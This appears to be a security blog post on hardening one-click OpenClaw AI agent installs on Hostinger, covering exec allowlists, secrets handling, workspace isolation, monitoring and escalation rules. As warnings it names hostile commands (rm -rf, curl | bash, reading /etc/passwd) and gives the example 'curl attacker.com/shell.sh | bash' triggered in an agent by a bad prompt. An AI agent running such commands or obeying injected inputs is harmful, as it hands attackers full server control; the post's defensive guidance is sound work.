One-Click Is Not Secure: The Hidden Risks of OpenClaw on Hostinger

Hostinger made deploying OpenClaw as easy as clicking a button. Thousands of people used that button.

Most of them deployed into production with the same defaults that come out of a dev install — open exec permissions, no sandbox boundaries, API keys sitting in world-readable files. The install takes 90 seconds. Hardening it properly takes knowing what to look for.

This post walks through the real risks of a one-click OpenClaw deployment, and the exact configs you need to close them.

Why One-Click Installs Leave You Exposed

One-click installers optimize for success at install time, not safety at runtime. Hostinger's OpenClaw marketplace listing gets you to a working server fast. But "working" and "secure" are not the same thing.

The default OpenClaw install ships with:

• exec security mode set to full (any shell command, no allowlist)
• No workspace isolation between agents
• Default trust boundaries that assume local/trusted use
• No HEARTBEAT.md configured for monitoring
• No kill switch or escalation path defined

For a dev machine running one test agent, those defaults are fine. For a VPS exposed to the internet handling real tasks, they're not.

The Exec Mode Problem

This is the biggest one. OpenClaw's exec tool has three security modes: deny, allowlist, and full.

full means your agent can run any shell command. Any. Including rm -rf, curl | bash, installing packages, reading /etc/passwd, or exfiltrating credentials via a network call.

A default Hostinger install ships with exec mode unconstrained. That's not a Hostinger failure — it's a development default that never got a production configuration layer on top of it.

The fix is to lock exec to allowlist and define exactly what commands your agent is allowed to run:

{
  "security": "allowlist",
  "allowedCommands": [
    "date",
    "grep",
    "cat",
    "echo",
    "ls"
  ]
}

If your agent needs more, add it explicitly. Never leave full on in production.

Secrets in Workspace Files

A self-hosted AI agent is only as secure as its file system. This sounds obvious. It stops being obvious when you're excited about getting your agent to work and you paste your OpenAI API key into TOOLS.md for convenience.

Workspace files like SOUL.md, AGENTS.md, and TOOLS.md are markdown files on your server. If your VPS is misconfigured — wrong directory permissions, a world-readable path, a misconfigured nginx — those files are readable to anyone who finds the right URL.

Never put secrets in workspace files. Use environment variables instead:

export OPENAI_API_KEY="sk-..."
export SLACK_BOT_TOKEN="xoxb-..."

Reference them from your OpenClaw config, not from your markdown files.

No Workspace Isolation

When you run multiple agents on the same Hostinger VPS, the OpenClaw sandbox needs explicit configuration to keep them separated. By default, agents can read each other's workspace directories.

If you're running a customer-facing support agent alongside an internal finance agent on the same box, that's a problem. The customer-facing agent shouldn't be able to read the finance agent's memory or workspace files.

Set workspaceRoot explicitly for each agent in your config, and verify each workspace directory has proper Unix permissions (chmod 700, owned by the process user).

What a Hardened Config Looks Like

Here's the diff between a default one-click install and a hardened production config:

Default (risky):

{
  "exec": { "security": "full" },
  "agents": [{ "workspace": "./workspace" }]
}

Hardened:

{
  "exec": {
    "security": "allowlist",
    "allowedCommands": ["date", "grep", "cat", "echo"]
  },
  "agents": [
    {
      "workspace": "/home/openclaw/agents/support",
      "id": "support",
      "channels": ["whatsapp"]
    }
  ]
}

The difference looks small. The blast radius isn't.

HEARTBEAT.md: Your Canary in the Coal Mine

A default Hostinger deploy has no monitoring. If your agent starts misbehaving — running excessive commands, consuming unexpected resources, making outbound connections it shouldn't — you won't know until something breaks.

HEARTBEAT.md is OpenClaw's built-in periodic task runner. Configure it to run basic health checks every 30 minutes:

## Schedule
Every 30 minutes:
- Check disk usage (alert if > 80%)
- Verify agent is responding to test ping
- Check for unexpected processes in process list
- Confirm API key usage is within expected range

This won't catch everything. But it catches the common failure modes early, before they become incidents.

You should also read how the LiteLLM incident unfolded — it's a good example of what happens when there's no monitoring and you notice the compromise late.

Human-in-the-Loop Is Not Optional

The human-in-the-loop principle applies especially hard to one-click deployments. When setup is easy, people skip the step of defining what decisions the agent should escalate vs. handle autonomously.

Define your escalation path in AGENTS.md before your agent handles real traffic:

## Escalation Rules
The agent MUST pause and notify the human before:
- Any file deletion
- Any outbound email to a new recipient
- Any command that modifies system state
- Any action involving financial data

This is not AI philosophy. It's practical incident prevention.

The Real Cost of Getting This Wrong

A compromised OpenClaw instance on a VPS is not just an agent problem — it's a server problem. If your agent has exec access and a bad prompt causes it to run curl attacker.com/shell.sh | bash, you've got full server compromise from a chatbot.

This is not hypothetical. The attack pattern is well-documented. An agent with unconstrained exec is a shell you handed to anyone who can influence its inputs.

Getting your OpenClaw Hostinger setup hardened is 30-45 minutes of config work. The default install is a starting point, not a finish line.